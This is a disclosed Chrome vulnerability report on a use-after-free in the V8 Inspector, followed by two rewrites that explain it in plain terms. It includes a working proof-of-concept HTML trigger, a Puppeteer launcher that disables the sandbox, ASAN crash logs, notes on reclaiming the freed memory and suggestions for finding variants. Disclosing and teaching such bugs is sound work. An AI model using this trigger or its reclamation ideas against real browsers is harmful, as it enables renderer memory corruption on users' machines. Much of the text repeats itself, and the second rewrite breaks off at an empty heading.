Use after free in V8 (CVE-2026-5861)
A use-after-free in Chrome's V8 Inspector occurs when an iframe removes itself inside the Error.prepareStackTrace callback that runs during console.log processing, leaving a dangling pointer to a freed InjectedScript object. An attacker could trigger a renderer memory-corruption crash and potentially reclaim the freed memory for further exploitation.
- Fix shipped in 44 days
---
### Report description
Chrome V8 Inspector InjectedScript Use-After-Free Vulnerability
---
### Bug location
#### Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. [See program rules](https://bughunters.google.com/about/rules/5745167867576320/chrome-vulnerability-reward-program-rules)
---
### The problem
#### Please describe the technical details of the vulnerability
# Chrome V8 Inspector InjectedScript Use-After-Free Vulnerability
## Summary
A use-after-free vulnerability in Chrome's V8 Inspector allows a malicious webpage to trigger memory corruption in the renderer process. The bug occurs when an iframe is removed during the `Error.prepareStackTrace` callback, which runs synchronously during `console.log()` processing, causing a dangling pointer to a freed `InjectedScript` object.
## Vulnerability Details
### Bug Type
Use-After-Free (UAF) in V8 Inspector
### Affected Component
- **File:** `v8/src/inspector/injected-script.cc`
- **Function:** `v8_inspector::InjectedScript::wrapObjectMirror()`
- **Line:** 628
### Affected Object
- **Class:** `v8_inspector::InjectedScript`
- **Size:** 232 bytes
- **Accessed Offset:** 224 bytes (`m_customPreviewEnabled` member)
### MiraclePtr Protection Status
**NOT PROTECTED** - The pointer is a raw C++ pointer, not wrapped in `raw_ptr<T>`.
The dangling pointer exists in the call chain:
- `V8ConsoleMessage::wrapArguments()` calls `session->wrapObject()` (v8-console-message.cc:300)
- `V8InspectorSessionImpl::wrapObject()` calls `findInjectedScript()` which returns a raw `InjectedScript*`
- This raw pointer is used after JavaScript execution that can free the pointed-to object
## Root Cause Analysis
### The Vulnerability Flow
1. **Setup:** A malicious page creates an iframe with a script that hooks `Error.prepareStackTrace`
2. **Trigger:** The iframe calls `console.log(new Error('trigger'))`
3. **V8ConsoleMessage Creation:** Chrome creates a `V8ConsoleMessage` object containing the console arguments
4. **Stack Trace Formatting:** When formatting the Error object for DevTools, V8 calls the custom `Error.prepareStackTrace` callback
5. **Critical Action:** Inside the callback, JavaScript removes the iframe (`window.frameElement.remove()`)
6. **Context Destruction:** Removing the iframe triggers:
- `LocalWindowProxy::DisposeContext()`
- `MainThreadDebugger::ContextWillBeDestroyed()`
- `V8InspectorImpl::discardInspectedContext()`
- `InspectedContext` destructor runs
- `InjectedScript` is freed (via unique_ptr in `m_injectedScripts` map)
7. **Dangling Pointer Use:** Control returns to `wrapArguments()` which still holds the raw `InjectedScript*` pointer and calls `wrapObjectMirror()` on freed memory
### Source Code Flow
```
console.log(new Error())
↓
V8Console::Log()
↓
ConsoleHelper::reportCall()
↓
V8ConsoleMessage::wrapArguments()
↓
session->wrapObject()
↓
findInjectedScript() → returns InjectedScript*
↓
[Error.prepareStackTrace callback runs HERE]
[JavaScript removes iframe]
[InjectedScript FREED]
↓
injectedScript->wrapObject() → UAF!
↓
wrapObjectMirror() reads m_customPreviewEnabled at offset 224
```
## Impact
### Security Impact
- **Memory Corruption:** Read from freed 232-byte heap region
- **Renderer Process:** The crash occurs in the renderer process
- **Potential for Exploitation:**
- The freed memory can be reclaimed by same-bucket allocations
- With ASAN quarantine disabled (`quarantine_size_mb=0`), different Chrome objects naturally take the freed slot
- If `m_customPreviewEnabled` (offset 224) reads as non-zero, additional virtual method calls occur on the fake object
- With controlled memory reclamation, this could lead to code execution
### Memory Reuse Evidence
With ASAN quarantine disabled, we observe `heap-buffer-overflow` instead of `heap-use-after-free`, proving memory reuse:
```
0x113bf94dfc20 is located 344 bytes after 200-byte region
allocated by thread T8 here:
ipcz::Router::Deserialize (200 bytes)
```
The freed InjectedScript slot is being reused by other allocations. The `ipcz::Router` (200 bytes, IPC system) lands nearby. The size mismatch causes an out-of-bounds read, but this demonstrates the allocator IS reusing the freed memory.
### Exploitation Challenges
1. The UAF read happens synchronously in the same call stack as the free
2. No JavaScript execution window exists between free and use
3. The InjectedScript (232 bytes) bucket may not align with JS-controllable objects
4. A separate thread/process would be needed to race the allocation
### Attack Prerequisites
1. DevTools must be connected (via CDP or `--auto-open-devtools-for-tabs`)
2. Runtime.enable protocol message must be active (automatic when Console is used)
### Trigger Variants
The vulnerability can be triggered via multiple iframe techniques:
1. **srcdoc iframe** - Inline HTML in srcdoc attribute (same-origin) �
CRASHES
2. **javascript: URL iframe** - Script in iframe src �
CRASHES
3. **blob: URL iframe** - Blob URL with HTML content ❌ Cross-origin blocked
4. **data: URL iframe** - Data URL with HTML content ❌ Cross-origin blocked
The key requirement is **same-origin access** to `parent.document` so the iframe can remove itself.
### Tested Configuration
- **Chrome Version:** 146.0.7680.0 (ASAN Build)
- **Platform:** Windows x64
- **Build:** Official Chromium ASAN build from chromium-browser-asan storage bucket
## Proof of Concept
### PoC (poc.html)
```html
<!DOCTYPE html>
<html>
<body>
<script>
const iframe = document.createElement('iframe');
iframe.srcdoc = `<html><body><script>
Error.prepareStackTrace = function(error, trace) {
window.frameElement.remove(); // Free InjectedScript
return '';
};
console.log(new Error('trigger')); // UAF triggered on return
<\/script></body></html>`;
document.body.appendChild(iframe);
</script>
</body>
</html>
```
### Running with Puppeteer (pptr.js)
```javascript
const puppeteer = require('puppeteer');
const path = require('path');
(async () => {
const browser = await puppeteer.launch({
executablePath: 'path/to/chrome-asan/chrome.exe',
args: ['--no-sandbox'],
headless: false,
env: {
...process.env,
ASAN_OPTIONS: 'quarantine_size_mb=0' // Force memory reuse
}
});
const page = await browser.newPage();
await page.goto(`file://${path.resolve(__dirname, 'poc.html')}`);
await new Promise(r => setTimeout(r, 3000));
process.exit(1);
})();
```
## ASAN Crash Report
### With Quarantine (heap-use-after-free detected)
```
==83024==ERROR: AddressSanitizer: heap-use-after-free on address 0x122206472b20
READ of size 1 at 0x122206472b20 thread T0
#0 v8_inspector::InjectedScript::wrapObjectMirror() injected-script.cc:628
#1 v8_inspector::InjectedScript::wrapObject() injected-script.cc:619
#2 v8_inspector::V8InspectorSessionImpl::wrapObject() v8-inspector-session-impl.cc:317
#3 v8_inspector::V8ConsoleMessage::wrapArguments() v8-console-message.cc:300
...
0x122206472b20 is located 224 bytes inside of 232-byte region
freed by thread T0 here:
#0 operator delete
#1 std::__Cr::default_delete<v8_inspector::InjectedScript>::operator()
#2 v8_inspector::InspectedContext::~InspectedContext()
#3 v8_inspector::V8InspectorImpl::discardInspectedContext()
#4 blink::MainThreadDebugger::ContextWillBeDestroyed()
...
```
### With Quarantine Disabled (heap-buffer-overflow = memory reused)
```
==106596==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x126f6f4e50e0
READ of size 1 at 0x126f6f4e50e0 thread T0
#0 v8_inspector::InjectedScript::wrapObjectMirror() injected-script.cc:628
...
0x126f6f4e50e0 is located 328 bytes after 216-byte region
allocated by thread T0 here:
#0 operator new
#1 v8_inspector::V8InspectorSessionImpl::create() v8-inspector-session-impl.cc:98
...
```
This shows that when ASAN quarantine is disabled, a 216-byte `V8InspectorSessionImpl` object took the freed slot, and the code read past it (328 bytes after = 216 + 112, while original access was at offset 224).
## Suggested Fix
The fix should ensure the InjectedScript pointer remains valid throughout the `wrapArguments()` operation. Options:
1. **Use safe pointers:** Convert the raw `InjectedScript*` to `raw_ptr<InjectedScript>` or similar smart pointer
2. **Re-validate before use:** After any JavaScript callback (like `prepareStackTrace`), re-lookup the InjectedScript from the context
3. **Prevent context destruction during callback:** Block iframe removal during console message processing
Example fix in `v8-console-message.cc`:
```cpp
// Before: raw pointer used after JS execution
InjectedScript* injectedScript = session->findInjectedScript(m_contextId);
// ... JS runs here that could free injectedScript ...
injectedScript->wrapObject(...); // UAF!
// After: Re-fetch or validate after JS execution
InjectedScript* injectedScript = session->findInjectedScript(m_contextId);
// ... JS runs ...
injectedScript = session->findInjectedScript(m_contextId); // Re-fetch
if (!injectedScript) return; // Context was destroyed
injectedScript->wrapObject(...); // Safe
```
## Files Attached
- `poc.html` - Clean PoC file
- `pptr.js` - Puppeteer automation script
- `crash.txt` - ASAN crash log (with quarantine)
- `crash_quarantine0.txt` - ASAN crash log (quarantine disabled, shows memory reuse)
## Timeline
- **Tested Version:** Chromium 146.0.7680.0
#### Impact analysis
.
---
### The cause
#### What version of Chrome have you found the security issue in?
I've been able to reproduce the crash on versions 72-93, 109-146.
#### Is the security issue related to a crash?
Yes, it is related to a crash.
#### Choose the type of vulnerability
Memory Corruption (in a sandboxed process)
#### How would you like to be publicly acknowledged for your report?
5shainContext
Chrome's V8 Inspector is the debugging machinery behind DevTools. When a page calls console.log(), the console message is not simply printed: the inspector wraps the arguments into object mirrors so that DevTools can display them, including formatting Error objects with their stack traces. That formatting path runs JavaScript inside the page, and the page controls some of that JavaScript through hooks such as Error.prepareStackTrace.
This report describes a use-after-free in that path. A malicious page can make the inspector hold a raw pointer to an InjectedScript object, run JavaScript that destroys the context owning that object, and then use the pointer. The affected component is V8, specifically v8/src/inspector/injected-script.cc, function v8_inspector::InjectedScript::wrapObjectMirror(), line 628. The affected class is v8_inspector::InjectedScript, 232 bytes in size, and the access that goes wrong reads the m_customPreviewEnabled member at offset 224.
The issue was reported through the Chrome VRP and was reproduced on Chrome versions 72 to 93 and 109 to 146. The tested build was Chromium 146.0.7680.0, an official ASAN build from the chromium-browser-asan storage bucket, on Windows x64.
Setup
Two preconditions are needed for the bug to be reachable:
- DevTools must be connected, either over CDP or by launching Chrome with
--auto-open-devtools-for-tabs. - The
Runtime.enableprotocol message must be active. The report notes this happens automatically when the Console is used.
The researcher used a Puppeteer script to launch the ASAN build and load a local HTML file. The report shows ASAN crash logs with the quarantine enabled and, with quarantine_size_mb=0, with the quarantine disabled to force memory reuse.
Finding it
The researcher traced the console message path and found that V8ConsoleMessage::wrapArguments() obtains an InjectedScript* through session->wrapObject(), which calls findInjectedScript() and returns a raw C++ pointer. That pointer is not wrapped in raw_ptr<T>, so MiraclePtr does not protect it. The report states this explicitly: the pointer is a raw C++ pointer and is not protected.
The important observation is that between obtaining the pointer and using it, the inspector runs page JavaScript: formatting the Error object invokes the custom Error.prepareStackTrace callback synchronously. If that callback removes the iframe, the iframe's context is destroyed, the InjectedScript is freed, and the raw pointer becomes dangling. Control then returns to wrapArguments(), which calls wrapObjectMirror() on freed memory.
Exploitation
Step 1: hook the stack trace formatter and remove the iframe
The page creates an iframe whose script installs an Error.prepareStackTrace hook. The page creates an iframe whose script installs an Error.prepareStackTrace hook that removes the iframe from the parent document, and then calls console.log(new Error('trigger')). The full PoC is:
<!DOCTYPE html>
<html>
<body>
<script>
const iframe = document.createElement('iframe');
iframe.srcdoc = `<html><body><script>
Error.prepareStackTrace = function(error, trace) {
window.frameElement.remove(); // Free InjectedScript
return '';
};
console.log(new Error('trigger')); // UAF triggered on return
<\/script></body></html>`;
document.body.appendChild(iframe);
</script>
</body>
</html>
The srcdoc iframe is same-origin, so window.frameElement.remove() is allowed. The hook runs while the inspector is formatting the error for DevTools, which is exactly the window in which the context can be destroyed.
Step 2: run it under Puppeteer with ASAN
The automation script launches the ASAN build, disables the sandbox, keeps the browser visible, and sets ASAN_OPTIONS to disable the quarantine so that freed memory is reused quickly:
const puppeteer = require('puppeteer');
const path = require('path');
(async () => {
const browser = await puppeteer.launch({
executablePath: 'path/to/chrome-asan/chrome.exe',
args: ['--no-sandbox'],
headless: false,
env: {
...process.env,
ASAN_OPTIONS: 'quarantine_size_mb=0' // Force memory reuse
}
});
const page = await browser.newPage();
await page.goto(`file://${path.resolve(__dirname, 'poc.html')}`);
await new Promise(r => setTimeout(r, 3000));
process.exit(1);
})();
Step 3: observe the crash
With the quarantine enabled, ASAN reports a heap-use-after-free. The read is one byte at offset 224 inside a 232-byte region, and the stack shows the free happening through context destruction:
==83024==ERROR: AddressSanitizer: heap-use-after-free on address 0x122206472b20
READ of size 1 at 0x122206472b20 thread T0
#0 v8_inspector::InjectedScript::wrapObjectMirror() injected-script.cc:628
#1 v8_inspector::InjectedScript::wrapObject() injected-script.cc:619
#2 v8_inspector::V8InspectorSessionImpl::wrapObject() v8-inspector-session-impl.cc:317
#3 v8_inspector::V8ConsoleMessage::wrapArguments() v8-console-message.cc:300
...
0x122206472b20 is located 224 bytes inside of 232-byte region
freed by thread T0 here:
#0 operator delete
#1 std::__Cr::default_delete<v8_inspector::InjectedScript>::operator()
#2 v8_inspector::InspectedContext::~InspectedContext()
#3 v8_inspector::V8InspectorImpl::discardInspectedContext()
#4 blink::MainThreadDebugger::ContextWillBeDestroyed()
...
With the quarantine disabled, the same access lands in a different allocation, which shows the freed slot is being reused. In this run a 216-byte V8InspectorSessionImpl object took the slot, and the read at offset 224 falls past its end, so ASAN reports a heap-buffer-overflow instead:
==106596==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x126f6f4e50e0
READ of size 1 at 0x126f6f4e50e0 thread T0
#0 v8_inspector::InjectedScript::wrapObjectMirror() injected-script.cc:628
...
0x126f6f4e50e0 is located 328 bytes after 216-byte region
allocated by thread T0 here:
#0 operator new
#1 v8_inspector::V8InspectorSessionImpl::create() v8-inspector-session-impl.cc:98
...
The report also records a run where the freed slot is reused by an ipcz::Router allocation of 200 bytes, with the access landing 344 bytes after a 200-byte region. The size mismatch produces an out-of-bounds read, but the point is the same: the allocator is reusing the freed memory.
Step 4: try the iframe variants
The report lists four ways of creating the iframe:
| Variant | Result |
|---|---|
srcdoc iframe (inline HTML, same-origin) |
Crashes |
javascript: URL iframe (script in src) |
Crashes |
blob: URL iframe (HTML content) |
Blocked, cross-origin |
data: URL iframe (HTML content) |
Blocked, cross-origin |
The requirement is same-origin access to parent.document so the iframe can remove itself.
Root cause
The call chain is:
console.log(new Error())
↓
V8Console::Log()
↓
ConsoleHelper::reportCall()
↓
V8ConsoleMessage::wrapArguments()
↓
session->wrapObject()
↓
findInjectedScript() → returns InjectedScript*
↓
[Error.prepareStackTrace callback runs HERE]
[JavaScript removes iframe]
[InjectedScript FREED]
↓
injectedScript->wrapObject() → UAF!
↓
wrapObjectMirror() reads m_customPreviewEnabled at offset 224
Removing the iframe runs LocalWindowProxy::DisposeContext(), then MainThreadDebugger::ContextWillBeDestroyed(), then V8InspectorImpl::discardInspectedContext(). The InspectedContext destructor runs and the InjectedScript is freed through the unique_ptr held in the m_injectedScripts map. wrapArguments() still holds the raw pointer and calls wrapObjectMirror() on the freed object.
The existing defence, MiraclePtr, does not apply because the pointer is a raw C++ pointer rather than a raw_ptr<T>. The bug is a lifetime problem: the code assumes the InjectedScript survives the JavaScript that runs during formatting, and nothing enforces that assumption.
Impact
The immediate effect is memory corruption in the renderer process: a read from a freed 232-byte heap region. The report describes the potential for exploitation as follows. The freed memory can be reclaimed by same-bucket allocations, and with the ASAN quarantine disabled, different Chrome objects naturally take the freed slot. If m_customPreviewEnabled at offset 224 reads as non-zero, additional virtual method calls occur on the fake object, and with controlled memory reclamation this could lead to code execution.
The report is also explicit about the obstacles. The UAF read happens synchronously in the same call stack as the free, so there is no JavaScript execution window between free and use. The 232-byte InjectedScript bucket may not align with JavaScript-controllable objects, and racing the allocation would need a separate thread or process. The crash is in a sandboxed renderer process.
Fix
The report proposes options:
- Use safe pointers: convert the raw
InjectedScript*toraw_ptr<InjectedScript>or a similar smart pointer. - Re-validate before use: after any JavaScript callback such as
prepareStackTrace, look theInjectedScriptup again from the context. - Prevent context destruction during the callback: block iframe removal while a console message is being processed.
The report gives an example fix in v8-console-message.cc that re-fetches the pointer after the JavaScript has run and bails out if the context is gone:
// Before: raw pointer used after JS execution
InjectedScript* injectedScript = session->findInjectedScript(m_contextId);
// ... JS runs here that could free injectedScript ...
injectedScript->wrapObject(...); // UAF!
// After: Re-fetch or validate after JS execution
InjectedScript* injectedScript = session->findInjectedScript(m_contextId);
// ... JS runs ...
injectedScript = session->findInjectedScript(m_contextId); // Re-fetch
if (!injectedScript) return; // Context was destroyed
injectedScript->wrapObject(...); // Safe
Variants to test
- Other synchronous callbacks during console formatting. Any page-controlled function that runs while the inspector holds an
InjectedScript*is a candidate. A positive result is an ASAN heap-use-after-free whose free stack goes throughdiscardInspectedContext()and whose use stack goes throughwrapObjectMirror(). - Other ways to destroy the context from inside the callback. The report shows
window.frameElement.remove()in a same-origin iframe. A positive result is the same crash with the free occurring during the callback rather than after it. - Different iframe schemes. The report found
srcdocandjavascript:URLs crash whileblob:anddata:URLs are blocked as cross-origin. A positive result is a crash from a scheme that still gives same-origin access toparent.document. - Quarantine disabled to check reuse. Running with
ASAN_OPTIONS=quarantine_size_mb=0turns the use-after-free into a heap-buffer-overflow when another allocation takes the slot. A positive result is a report showing the access landing past the end of a different object, which confirms the freed memory is being reused.
What happened, in plain words
A web browser is a program that downloads pages from the internet and shows them to you. Chrome is one such browser. Inside Chrome there is a piece of software called V8, which is the JavaScript engine: it reads the small programs (scripts) that web pages contain and runs them. JavaScript is the language most web pages use to make buttons react, load new content and so on.
Chrome also has a built-in set of tools for developers, called DevTools. When you press F12 in Chrome you open DevTools: a panel where you can see the page's code, watch network traffic, and read messages that the page prints to the console. The console is a text area where a page can write notes for the developer, using a command called console.log(). The part of Chrome that powers DevTools is called the Inspector.
This report is about a bug in the Inspector. When a page prints something to the console, the Inspector does not just copy the text: it builds a small internal representation of each value so that DevTools can display it nicely. For an error object, that includes the stack trace, which is the list of function calls that led to the error. To format an error, the Inspector runs a piece of JavaScript that the page itself can replace, through a hook called Error.prepareStackTrace. A hook is simply a place where a program lets you plug in your own function, so that your code runs at that moment instead of the default code.
The bug is a use-after-free. Imagine you borrow a library book, write down its shelf number on a sticky note, return the book, and then walk back to the shelf and read from the note. The note still says where the book was, but the book is gone, and someone else may have put a different book there. In software, a use-after-free happens when a program frees a chunk of memory (gives it back, so it can be reused), keeps a note of where it was (a pointer, which is just a memory address), and later reads or writes through that note. The memory may now hold something completely different, so the program reads garbage or corrupts data.
Here the Inspector holds a pointer to an internal object called InjectedScript. While formatting the error, it runs the page's Error.prepareStackTrace function. That function removes an iframe from the page. An iframe is a page embedded inside another page, like a picture frame hanging on a wall. Removing the iframe destroys the context that owns the InjectedScript, so the object is freed. When the JavaScript returns, the Inspector still uses its old pointer, and that is the use-after-free.
The report was submitted through the Chrome VRP (Vulnerability Reward Program), Google's scheme that pays people for finding and reporting security bugs in Chrome. The researcher is credited as 5shain.
Context
The Inspector is the debugging machinery behind DevTools. When a page calls console.log(), the console message is not simply printed: the inspector wraps the arguments into object mirrors so that DevTools can display them. An object mirror is a stand-in copy of a value that lives on the debugging side, so the tools can inspect it without touching the page's own objects directly. Part of that work is formatting Error objects together with their stack traces. That formatting path runs JavaScript inside the page, and the page controls some of that JavaScript through hooks such as Error.prepareStackTrace.
This report describes a use-after-free in that path. A malicious page can make the inspector hold a raw pointer to an InjectedScript object, run JavaScript that destroys the context owning that object, and then use the pointer. A raw pointer is an address stored in a plain variable with no safety net: nothing checks whether the address is still valid. The affected component is V8, specifically v8/src/inspector/injected-script.cc, function v8_inspector::InjectedScript::wrapObjectMirror(), line 628. The affected class is v8_inspector::InjectedScript, 232 bytes in size, and the access that goes wrong reads the m_customPreviewEnabled member at offset 224. A class here is a blueprint for an object in the C++ programming language, which Chrome is written in; a member is one of the object's fields, and an offset is how many bytes from the start of the object that field sits.
The issue was reported through the Chrome VRP and was reproduced on Chrome versions 72 to 93 and 109 to 146. The tested build was Chromium 146.0.7680.0, an official ASAN build from the chromium-browser-asan storage bucket, on Windows x64. ASAN, short for AddressSanitizer, is a special build of a program that watches every memory access and shouts loudly when one is wrong. Chromium is the open-source project Chrome is built from, and x64 means a 64-bit Intel/AMD processor.
Setup
Two preconditions are needed for the bug to be reachable:
- DevTools must be connected, either over CDP or by launching Chrome with
--auto-open-devtools-for-tabs. CDP, the Chrome DevTools Protocol, is the language DevTools and automation tools use to talk to the browser; it is a set of messages, much like ordering from a menu rather than cooking yourself. - The
Runtime.enableprotocol message must be active. The report notes this happens automatically when the Console is used. A protocol message is one of those menu orders: a named instruction sent to the browser.
The researcher used Puppeteer to launch the ASAN build and load a local HTML file. Puppeteer is a library that drives a browser from a script, like a remote control for Chrome. The report shows ASAN crash logs with the quarantine enabled and, with quarantine_size_mb=0, with the quarantine disabled to force memory reuse. The quarantine is ASAN's habit of holding freed memory aside for a while instead of handing it straight back, so that a use-after-free is caught rather than silently landing on reused memory. Setting it to zero switches that habit off.
Finding it
The researcher traced the console message path and found that V8ConsoleMessage::wrapArguments() obtains an InjectedScript* through session->wrapObject(), which calls findInjectedScript() and returns a raw C++ pointer. That pointer is not wrapped in raw_ptr<T>, so MiraclePtr does not protect it. MiraclePtr is a Chrome defence that wraps pointers in a checked type so that a freed object cannot be quietly used again; it only works if the pointer is declared with that wrapper. The report states this explicitly: the pointer is a raw C++ pointer and is not protected.
The important observation is that between obtaining the pointer and using it, the inspector runs page JavaScript: formatting the Error object invokes the custom Error.prepareStackTrace callback synchronously. Synchronously means it happens right there and then, in the middle of the current operation, not later in the background. If that callback removes the iframe, the iframe's context is destroyed, the InjectedScript is freed, and the raw pointer becomes dangling, meaning it points at memory that is no longer reserved for that object. Control then returns to wrapArguments(), which calls wrapObjectMirror() on freed memory.
Exploitation
Step 1: hook the stack trace formatter and remove the iframe
The page creates an iframe whose script installs an Error.prepareStackTrace hook. The page creates an iframe whose script installs an Error.prepareStackTrace hook that removes the iframe from the parent document, and then calls console.log(new Error('trigger')). The full PoC is:
<!DOCTYPE html>
<html>
<body>
<script>
const iframe = document.createElement('iframe');
iframe.srcdoc = `<html><body><script>
Error.prepareStackTrace = function(error, trace) {
window.frameElement.remove(); // Free InjectedScript
return '';
};
console.log(new Error('trigger')); // UAF triggered on return
<\/script></body></html>`;
document.body.appendChild(iframe);
</script>
</body>
</html>
Line by line:
<!DOCTYPE html>,<html>,<body>: the standard opening of an HTML page. HTML is the language web pages are written in; these lines just say "this is a web page and here is its body".<script>: starts a block of JavaScript that the browser will run.const iframe = document.createElement('iframe');: creates a new iframe element in memory.constdeclares a variable, a named box that holds a value; here the box is callediframeand holds the new element.iframe.srcdoc = ...: sets the iframe's content.srcdocis an attribute that lets you put the iframe's HTML directly inside the parent page instead of pointing at a separate file. The content is written between backticks, which in JavaScript allow a multi-line string.Error.prepareStackTrace = function(error, trace) { ... };: replaces the default stack-trace formatter with a custom function. This is the hook. Whenever an error's stack trace needs formatting, this function runs instead of the built-in one.window.frameElement.remove();: from inside the iframe,window.frameElementrefers to the iframe element itself in the parent page, and.remove()deletes it from the page. The comment says this frees theInjectedScript.return '';: the hook must return something; here it returns an empty string.console.log(new Error('trigger'));: prints a new error object to the console. The comment notes the use-after-free is triggered on return.<\/script>: closes the inner script. The backslash before the slash stops the browser from treating this as the end of the outer script block too early, since the whole thing is inside a string.document.body.appendChild(iframe);: actually puts the iframe into the page, which makes the browser load and run its content.
The srcdoc iframe is same-origin, so window.frameElement.remove() is allowed. Origin is the combination of scheme, host and port that a page comes from; two pages are same-origin when those match, and browsers only let same-origin pages reach into each other's documents. The hook runs while the inspector is formatting the error for DevTools, which is exactly the window in which the context can be destroyed.
Step 2: run it under Puppeteer with ASAN
The automation script launches the ASAN build, disables the sandbox, keeps the browser visible, and sets ASAN_OPTIONS to disable the quarantine so that freed memory is reused quickly:
const puppeteer = require('puppeteer');
const path = require('path');
(async () => {
const browser = await puppeteer.launch({
executablePath: 'path/to/chrome-asan/chrome.exe',
args: ['--no-sandbox'],
headless: false,
env: {
...process.env,
ASAN_OPTIONS: 'quarantine_size_mb=0' // Force memory reuse
}
});
const page = await browser.newPage();
await page.goto(`file://${path.resolve(__dirname, 'poc.html')}`);
await new Promise(r => setTimeout(r, 3000));
process.exit(1);
})();
Line by line:
const puppeteer = require('puppeteer');: loads the Puppeteer library so the script can control a browser.const path = require('path');: loads Node's path helper, used to build a file path. Node is the program that runs JavaScript outside a browser.(async () => { ... })();: defines a function and runs it immediately.asyncmeans it can wait for slow steps without freezing.const browser = await puppeteer.launch({ ... });: starts a browser.awaitpauses until the browser is up.executablePath: 'path/to/chrome-asan/chrome.exe': tells Puppeteer which browser program to run, here the ASAN build.args: ['--no-sandbox']: passes a command-line flag that turns off Chrome's sandbox. The sandbox is an isolation layer that stops a page from reaching the rest of the system; it is disabled here only to make testing simpler.headless: false: shows the browser window instead of running invisibly.env: { ...process.env, ASAN_OPTIONS: 'quarantine_size_mb=0' }: passes environment variables to the browser....process.envcopies the current ones, andASAN_OPTIONSadds the ASAN setting that disables the quarantine, as the comment says, to force memory reuse.const page = await browser.newPage();: opens a new tab.await page.goto(...): navigates to the local PoC file.file://means a file on disk rather than a web address, andpath.resolve(__dirname, 'poc.html')builds the full path topoc.htmlnext to the script.await new Promise(r => setTimeout(r, 3000));: waits three seconds so the crash has time to happen.process.exit(1);: ends the script with a non-zero exit code, a conventional way to signal that something went wrong.
Step 3: observe the crash
With the quarantine enabled, ASAN reports a heap-use-after-free. The read is one byte at offset 224 inside a 232-byte region, and the stack shows the free happening through context destruction:
==83024==ERROR: AddressSanitizer: heap-use-after-free on address 0x122206472b20
READ of size 1 at 0x122206472b20 thread T0
#0 v8_inspector::InjectedScript::wrapObjectMirror() injected-script.cc:628
#1 v8_inspector::InjectedScript::wrapObject() injected-script.cc:619
#2 v8_inspector::V8InspectorSessionImpl::wrapObject() v8-inspector-session-impl.cc:317
#3 v8_inspector::V8ConsoleMessage::wrapArguments() v8-console-message.cc:300
...
0x122206472b20 is located 224 bytes inside of 232-byte region
freed by thread T0 here:
#0 operator delete
#1 std::__Cr::default_delete<v8_inspector::InjectedScript>::operator()
#2 v8_inspector::InspectedContext::~InspectedContext()
#3 v8_inspector::V8InspectorImpl::discardInspectedContext()
#4 blink::MainThreadDebugger::ContextWillBeDestroyed()
...
What this says, in plain words:
==83024==ERROR: AddressSanitizer: heap-use-after-free on address 0x122206472b20: ASAN caught a use-after-free at a particular memory address. The heap is the pool of memory a program uses for objects it creates while running.READ of size 1 at ... thread T0: the program tried to read one byte. A thread is one line of execution inside a program; T0 is the main one.- The
#0to#3lines are the call stack: the chain of function calls, newest first.wrapObjectMirror()calledwrapObject(), which was called byV8InspectorSessionImpl::wrapObject(), which was called bywrapArguments(). The file and line numbers show where in the source each call sits. 0x122206472b20 is located 224 bytes inside of 232-byte region: the address being read is inside a 232-byte block of memory, 224 bytes from its start. That matches them_customPreviewEnabledmember.freed by thread T0 here: the second stack shows where that block was freed.operator deleteis the C++ operation that releases memory. It was reached through theInjectedScriptdestructor, called from theInspectedContextdestructor, called fromdiscardInspectedContext(), called fromContextWillBeDestroyed(). A destructor is the function that runs when an object is destroyed.
With the quarantine disabled, the same access lands in a different allocation, which shows the freed slot is being reused. In this run a 216-byte V8InspectorSessionImpl object took the slot, and the read at offset 224 falls past its end, so ASAN reports a heap-buffer-overflow instead:
==106596==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x126f6f4e50e0
READ of size 1 at 0x126f6f4e50e0 thread T0
#0 v8_inspector::InjectedScript::wrapObjectMirror() injected-script.cc:628
...
0x126f6f4e50e0 is located 328 bytes after 216-byte region
allocated by thread T0 here:
#0 operator new
#1 v8_inspector::V8InspectorSessionImpl::create() v8-inspector-session-impl.cc:98
...
Here the first stack is the same read in wrapObjectMirror(). The second stack shows what now occupies the memory: a 216-byte object created by V8InspectorSessionImpl::create(), with operator new being the C++ operation that reserves memory. The read lands 328 bytes after the start of that 216-byte region, which is past its end, hence heap-buffer-overflow: reading outside the bounds of an allocated block.
The report also records a run where the freed slot is reused by an ipcz::Router allocation of 200 bytes, with the access landing 344 bytes after a 200-byte region. The size mismatch produces an out-of-bounds read, but the point is the same: the allocator is reusing the freed memory. The allocator is the part of the runtime that hands out and takes back memory blocks.
Step 4: try the iframe variants
The report lists four ways of creating the iframe:
| Variant | Result |
|---|---|
srcdoc iframe (inline HTML, same-origin) |
Crashes |
javascript: URL iframe (script in src) |
Crashes |
blob: URL iframe (HTML content) |
Blocked, cross-origin |
data: URL iframe (HTML content) |
Blocked, cross-origin |
A javascript: URL is a link whose target is a script rather than a page. A blob: URL points at data held in the browser's memory, and a data: URL carries the content inside the URL itself. The requirement is same-origin access to parent.document so the iframe can remove itself. parent.document is the parent page's document object, the thing that holds the page's elements.
Root cause
The call chain is:
console.log(new Error())
↓
V8Console::Log()
↓
ConsoleHelper::reportCall()
↓
V8ConsoleMessage::wrapArguments()
↓
session->wrapObject()
↓
findInjectedScript() → returns InjectedScript*
↓
[Error.prepareStackTrace callback runs HERE]
[JavaScript removes iframe]
[InjectedScript FREED]
↓
injectedScript->wrapObject() → UAF!
↓
wrapObjectMirror() reads m_customPreviewEnabled at offset 224
Read top to bottom, this is the journey of one console.log() call. It enters V8Console::Log(), then ConsoleHelper::reportCall(), then wrapArguments(). That function asks the session for the InjectedScript and gets a pointer back. Then the page's Error.prepareStackTrace callback runs, the iframe is removed, and the InjectedScript is freed. The code then calls wrapObject() through the old pointer, which is the use-after-free, and wrapObjectMirror() reads the member at offset 224.
Removing the iframe runs LocalWindowProxy::DisposeContext(), then MainThreadDebugger::ContextWillBeDestroyed(), then V8InspectorImpl::discardInspectedContext(). The InspectedContext destructor runs and the InjectedScript is freed through the unique_ptr held in the m_injectedScripts map. A unique_ptr is a C++ pointer that owns its object and frees it automatically when it goes away; a map is a lookup table from keys to values. wrapArguments() still holds the raw pointer and calls wrapObjectMirror() on the freed object.
The existing defence, MiraclePtr, does not apply because the pointer is a raw C++ pointer rather than a raw_ptr<T>. The bug is a lifetime problem: the code assumes the InjectedScript survives the JavaScript that runs during formatting, and nothing enforces that assumption.
Impact
